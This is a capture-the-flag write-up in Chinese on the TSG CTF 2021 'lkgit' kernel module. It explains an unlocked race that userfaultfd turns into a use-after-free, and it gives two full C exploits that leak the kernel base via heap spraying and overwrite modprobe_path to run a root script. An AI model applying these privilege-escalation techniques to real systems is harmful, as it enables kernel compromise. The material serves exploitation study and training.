tsgctf-2021-lkgit-无锁竞争-userfaultfd
启动脚本
qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "console=ttyS0 kaslr oops=panic panic=1 quiet" \-no-reboot \-m 256M
题目
lkgit_hash_object
#define HASH_SIZE 0x10
typedef struct {char hash[HASH_SIZE];char *content; // 长度最大0x40char *message; // 长度最大0x20
} hash_object;
从用户空间传递一个hash_object
到内核
- 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
- 内核分配一个content对象,将hash_object->content拷贝进来
- 内核分配一个message对象,将hash_object->message拷贝进来
- 根据content的内容计算出,hash,保存到内核的hash_object->hash
- 并将hash赋值到用户态的hash_object->hash
- 最后将内核态的hash_object保存到全局数组objects中
- 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
- 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hashif((dup_ix = find_by_hash(obj->hash)) != -1) {kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}
lkgit_get_object
typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;
用户态传递过来的参数log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将找到的hash_object元素的content,拷贝到用户态的log_object->content
- 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
- 内核找到的hash_object元素的content,拷贝给用户态
- 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) goto end;ret = 0;}end:return ret;
}
lkgit_amend_message
用户态传递过来的参数log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将用户态的log_object->message,拷贝到内核局部变量buf中
- 调用
lkgit_get_object
- 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}
漏洞在哪里
单看,ioctl中的三个方法,好像都没有问题
- lkgit_hash_object
- lkgit_get_object
- lkgit_amend_message
由于内核函数调用中没有加锁,查看是否存在竞争
结合异步并行调用+userfaultfd,再尝试看看没有没有问题
lkgit_hash_object
static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object))) // 【1】goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash); // 【3】if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) { // 【4】goto end;}ret = save_object(req);end:return ret;
}
- 通过userfaultfd,在【1】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
- 通过userfaultfd,在【2】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
- 通过userfaultfd,在【4】处暂停
- lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- lkgit_get_object,无法从全局数组
lkgit_get_object
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // 【1】goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【2】goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】goto end;ret = 0;}end:return ret;
}
- 【1】,【2】,【3】在此处停下,通过调用
lkgit_hash_object->save_object->kfree
,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息
lkgit_amend_message
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE)) // 【1】goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr); // 【1】// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】}end:return ret;
}
与lkgit_get_object
类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点
// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:0x0-0x70x8-0xF0x10-0x170x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {char hash[HASH_SIZE];char *content; // 长度最大0x40char *message; // 长度最大0x20
} hash_object;
利用
- 先创建一个内核
hash_object
,并挂到内核objects
数组下 - 调用lkgit_get_object,触发缺页处理
- 在缺页处理内部调用
lkgit_hash_object
,触发kfree - 使用
shm_file_data
进行占位 - 读取内核指针,获取内核基地址
- 从而得到modprobe_path的地址
- 在缺页处理内部调用
- 调用lkgit_amend_message,触发缺页处理
- 修改
hash_object->message
的地址为modprobe_path的地址 - 通过
memcpy(target->message, buf, MESSAGE_MAXSZ);
重写modprobe_path的内容
- 修改
exp1 - 这个蛮好看的
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10typedef struct
{char hash[HASH_SIZE]; // 0x10char *content; // 0x8char *message; // 0x8
} hash_object;typedef struct
{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;typedef struct
{long uffd;unsigned long long page_start;void *(*wp_fault_func)(void *);void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;int lkgit_fd;
pthread_t uffd_thread;char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];unsigned long modprobe_path;void errout(char *msg)
{perror(msg);exit(-1);
}void *userfd_thread_func(void *args)
{struct uffd_msg msg;userfd_callback_args *cb_args = (userfd_callback_args *)args;struct pollfd pollfd = {.fd = cb_args->uffd,.events = POLLIN};while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errout("polling error");if (!(pollfd.revents & POLLIN))continue;if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)errout("read uffd event");printf("Userfault event\n");printf("======================================================================\n");if (msg.event & UFFD_EVENT_PAGEFAULT)printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);long long addr = msg.arg.pagefault.address;long long page_begin = addr - (addr % 0x1000);// Check for write protected write faultif (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP){printf("UFFD_PAGEFAULT_FLAG_WP\n");// If defined, call write protect fault handlerif(cb_args->wp_fault_func)cb_args->wp_fault_func(cb_args);// set page to not write protected to unlock kernelstruct uffdio_writeprotect wp;wp.range.start = cb_args->page_start;wp.range.len = 0x2000;wp.mode = 0;printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1){errout("ioctl(UFFDIO_WRITEPROTECT)");}continue;}// Page wasn't touched by now, so fill itprintf("UFFDIO_COPY\n");char buf[0x1000];struct uffdio_copy cp = {.src = (long long)buf,.dst = (long long)addr,.len = (long long)0x1000,.mode = 0};// If defined, call read protect fault handlerif(cb_args->read_fault_func)cb_args->read_fault_func(cb_args, &cp);if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1){perror("ioctl(UFFDIO_COPY)");}printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);}return NULL;
}userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{printf("\n");printf("Register userfaultdfd\n");printf("======================================================================\n");// setup userfault fdint uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1){perror("syscall");exit(-1);}int uffd_flags = fcntl(uffd, F_GETFD, NULL);printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);struct uffdio_api uffdio_api = {.api = UFFD_API,.features = 0};if (ioctl(uffd, UFFDIO_API, &uffdio_api)){perror("UFFDIO_API");exit(-1);}printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);if (!userfault_region){perror("mmap");exit(-1);}// 页对其if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2)){fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);exit(1);}printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);struct uffdio_register uffdio_register;uffdio_register.range.start = (unsigned long long)userfault_region;uffdio_register.range.len = 0x1000 * 2;uffdio_register.mode = mode;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1){perror("ioctl(UFFDIO_REGISTER)");exit(1);}printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));cb_args->uffd = uffd;cb_args->wp_fault_func = wp_fault_func;cb_args->read_fault_func = read_fault_func;cb_args->page_start = (unsigned long long)userfault_region;pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);printf("======================================================================\n\n"); return cb_args;
}void unregister_userfaultfd(userfd_callback_args* args) {printf("\n");printf("Unregister userfaultdfd\n");printf("======================================================================\n");struct uffdio_range uf_range = {.start = args->page_start,.len = 0x2000};if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) errout("unregistering page for userfaultfd");if (munmap(args->page_start, 0x2000) == -1)errout("munmapping userfaultfd page");close(args->uffd);pthread_cancel(uffd_thread);printf("[+] userfaultfd unregistered\n");printf("======================================================================\n\n");
}// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{hash_object req = {.content = content,.message = message,};if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0){printf("[ERROR] failed to hash the object.\n");}memcpy(out_hash, &req.hash, 0x10);return 0;
}void spray_shmem(int count, int size) {puts("[+] spray shmem structs");int shmid;char *shmaddr;for (int i = 0; i < count; i++){if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1){perror("shmget error");exit(-1);}shmaddr = shmat(shmid, NULL, 0);if (shmaddr == (void *)-1){perror("shmat error");exit(-1);}}
}void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;puts("Userfault: break_on_read"); printf("[+]Delete current object by storing one with the same hash\n");snap_file(fileContent1, fileMessage1, &hash1);printf("[+] Create a shmem struct in the freed object");spray_shmem(1, 0x20);
}void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;// Write address of modprobe_path to hash_object->messageunsigned long* lptr = fileMessage1+0x18;*lptr = modprobe_path;// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointersnap_file(fileContent1, fileMessage1, &hash1);snap_file(fileContent1, fileMessage1, &hash1);// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)char mod[] = "/home/user/copy.sh";memcpy(uf_buf->src, mod, sizeof(mod));
}int main()
{// Prepare modprobe_path exploitationsystem("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");system("chmod +x /home/user/copy.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");lkgit_fd = open("/dev/lkgit", O_RDWR);// 创建一个log_object对象printf("[+] Create initial file in lkgit\n");snap_file(fileContent1, fileMessage1, hash1);// kernel base泄露printf("[+] Register userfaultfd\n");userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);printf("[+] Request file, and let it break on copying back message\n");log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on messagememcpy(&req->hash, hash1, 0x10);ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));modprobe_path = kernel_leak - 0x131ce0;printf("[+] Kernel leak : %p\n", kernel_leak);printf("[+] modprobe_path : %p\n", modprobe_path);unregister_userfaultfd(uffdargs);// 任意地址写printf("[+] Register new userfaultfd\n");uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);// Align the request object, so that lkgit_amend_message will pagefault on reading new messageioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);close(lkgit_fd);// Execute modprobe_path exploitationsystem("/home/user/dummy");system("cat /home/user/flag2");
}
exp2
/****************** Full exploit of lkgit.*****************/#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>#include "../src/include/lkgit.h" // commands#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];ulong single_start;
ulong kernbase;ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)// utils
#define WAIT getc(stdin);
#define errExit(msg) \do \{ \perror(msg); \exit(EXIT_FAILURE); \} while (0)
ulong user_cs, user_ss, user_sp, user_rflags;/** module specific utils **/char *hash_to_string(char *hash)
{char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);for (int ix = 0; ix != HASH_SIZE; ++ix){sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);}return hash_str;
}char *string_to_hash(char *hash_str)
{char *hash = calloc(HASH_SIZE, 1);char buf[3] = {0};for (int ix = 0; ix != HASH_SIZE; ++ix){memcpy(buf, &hash_str[ix * 2], 2);hash[ix] = (char)strtol(buf, NULL, 16);}return hash;
}void print_log(log_object *log)
{printf("HASH : %s\n", hash_to_string(log->hash));printf("MESSAGE: %s\n", log->message);printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/void *conflict_during_fault(char *content)
{// commit with conflict of hashchar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...hash_object req = {.content = content_buf,.message = content_buf,};printf("[.] committing with conflict...: %s\n", content);assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));
}// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{puts("[+] entered fault_handler_thread");static struct uffd_msg msg; // data read from userfaultfd// struct uffdio_copy uffdio_copy;struct uffdio_range uffdio_range;struct uffdio_copy uffdio_copy;long uffd = (long)arg; // userfaultfd file descriptorstruct pollfd pollfd; //int nready; // number of polled events// set poll informationpollfd.fd = uffd;pollfd.events = POLLIN;// wait for pollputs("[+] polling...");while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errExit("poll");// read an eventif (read(uffd, &msg, sizeof(msg)) == 0)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("unexpected pagefault");printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);// Now, another thread is halting. Do my business.char content_buf[FILE_MAXSZ] = {0};if (target_addr == (void *)NO_FAULT_ADDR){puts("[+] first: seq_operations");memset(content_buf, 'A', FILE_MAXSZ);conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){errExit("open seq_operations");}// trashuffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);uffdio_range.len = PAGE;if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)errExit("ioctl-UFFDIO_UNREGISTER");}else{printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);strcpy(content_buf, "/tmp/evil\x00");conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix){buf[ix] = kernbase + off_modprobepath;}char content_buf[FILE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};strcpy(content_buf, "uouo-fish-life\x00");hash_object req = {.content = content_buf,.message = (char *)buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// write evil messageputs("[+] copying evil message...");char message_buf[PAGE] = {0};strcpy(message_buf, "/tmp/evil\x00");uffdio_copy.src = (unsigned long)message_buf;uffdio_copy.dst = msg.arg.pagefault.address;uffdio_copy.len = PAGE;uffdio_copy.mode = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");}break;}puts("[+] exiting fault_handler_thrd");
}void register_userfaultfd_and_halt(void)
{puts("[+] registering userfaultfd...");long uffd; // userfaultfd file descriptorpthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel threadstruct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;// create userfaultfd file descriptoruffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libcif (uffd == -1)errExit("userfaultfd");// enable uffd object via ioctl(UFFDIO_API)uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)errExit("ioctl-UFFDIO_API");// mmapaddr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.printf("[+] mmapped @ %p\n", addr);if (addr == MAP_FAILED || addr != target_addr)errExit("mmap");// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)// first stepif (target_addr == (void *)NO_FAULT_ADDR){uffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}else{// second stepuffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protectionif (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)errExit("ioctl-UFFDIO_REGISTER");s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);if (s != 0){errno = s;errExit("pthread_create");}puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)int main(int argc, char *argv[])
{puts("[.] starting exploit...");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");system("chmod +x /tmp/evil");system("chmod +x /tmp/nirugiri");lkgit_fd = open(DEV_PATH, O_RDWR);if (lkgit_fd < 0){errExit("open");}// register uffd handlertarget_addr = (void *)NO_FAULT_ADDR;target_len = 2 * PAGE;register_userfaultfd_and_halt();sleep(1);log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));printf("[.] target addr: %p\n", target_addr);printf("[.] log: %p\n", log);// sprayputs("[.] heap spraying...");for (int ix = 0; ix != 0x90; ++ix){tmpfd[ix] = open("/proc/self/stat", O_RDONLY);}// commit a file normalychar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...strcpy(msg_buf, "This is normal commit.\x00");hash_object req = {.content = content_buf,.message = msg_buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));memset(content_buf, 0, FILE_MAXSZ);strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000strcpy(msg_buf, "This is second commit.\x00");assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// try to get a log and invoke race// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).memset(log->hash, 0, HASH_SIZE);assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);print_log(log);// kernbase leaksingle_start = *(unsigned long *)log->hash;kernbase = single_start - off_single_start;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// prepare for race again.target_len = PAGE * 2;target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;register_userfaultfd_and_halt();sleep(1);// amend to race/AAWlog = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000puts("[.] trying to race to achive AAW...");int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);if (e != 0){if (e == -LKGIT_ERR_OBJECT_NOTFOUND){printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));}else{printf("[ERROR] unknown error in AMEND.\n");}}// nirugiriputs("[!] executing evil script...");system("/tmp/nirugiri");system("cat /home/user/flag");printf("[.] end of exploit.\n");return 0;
}
参考
https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/
相关文章:
tsgctf-2021-lkgit-无锁竞争-userfaultfd
启动脚本 qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "consolettyS0 kaslr oopspanic panic1 quiet" \-no-reboot \-m 256M题目 lkgit_hash_object #define HASH_SIZE …...

物联网数据隐私保护技术
在物联网(IoT)的世界中,无数的设备通过互联网连接在一起,不断地收集、传输和处理数据。这些数据有助于提高生产效率、优化用户体验并创造新的服务模式。然而,随着数据量的剧增,数据隐私保护成为了一个不能忽…...

RabbitMQ-1.介绍与安装
介绍与安装 1.RabbitMQ1.0.技术选型1.1.安装1.2.收发消息1.2.1.交换机1.2.2.队列1.2.3.绑定关系1.2.4.发送消息 1.2.数据隔离1.2.1.用户管理1.2.3.virtual host 1.RabbitMQ 1.0.技术选型 消息Broker,目前常见的实现方案就是消息队列(MessageQueue&…...

CSS高级技巧
一、 精灵图 1.1 为什么需要精灵图? 1.2 精灵图(sprites)的使用 二、 字体图标 2.1 字体图标的产生 2.2 字体图标的优点 2.3 字体图标的下载 icomoom字库 http://icomoon.io 阿里iconfont字库 http://www.iconfont.cn/ 2.4 字体图标的引用…...

Redis的数据类型Hash使用场景实战
Redis的数据类型Hash使用场景 常见面试题:redis在你们项目中是怎么用的,除了String数据类型还使用什么数据类型? 怎么保证缓存和数据一致性等问题… Hash模型使用场景 知识回顾: redisTemplate.opsForHash() 方法是 Redis 的 …...

HttpClient | 支持 HTTP 协议的客户端编程工具包
目录 1、简介 2、应用场景 3、导入 4、API 5、示例 5.1、GET请求 5.2、POST请求 🍃作者介绍:双非本科大三网络工程专业在读,阿里云专家博主,专注于Java领域学习,擅长web应用开发、数据结构和算法,初…...
DP第一天:力扣● 理论基础 ● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯
● 理论基础 DP大约五种问题: 动规基础(斐波那契数列、爬楼梯);背包问题;股票问题;打家劫舍;子序列问题。 要搞清楚: DP数组及其下标的含义;DP数组如何初始化&#x…...

Android Studio 安装Flutter插件但是没法创建项目
Android Studio 安装Flutter插件但是没法创建项目 如果你在Android Studio已经安装了Dart、Flutter插件,但是不能创建Flutter项目。 原因是因为Android Studio的版本更新,Android APK Support这个插件没被选中。 一旦勾选这个插件之后,就能…...

新春快乐(烟花、春联)【附源码】
新春快乐 一: C语言 -- 烟花二:Python -- 春联三:Python -- 烟花四:HTML -- 烟花 一: C语言 – 烟花 运行效果: #include <graphics.h> #include <math.h> #include <time.h> #include…...
nextcloud 优化扩展
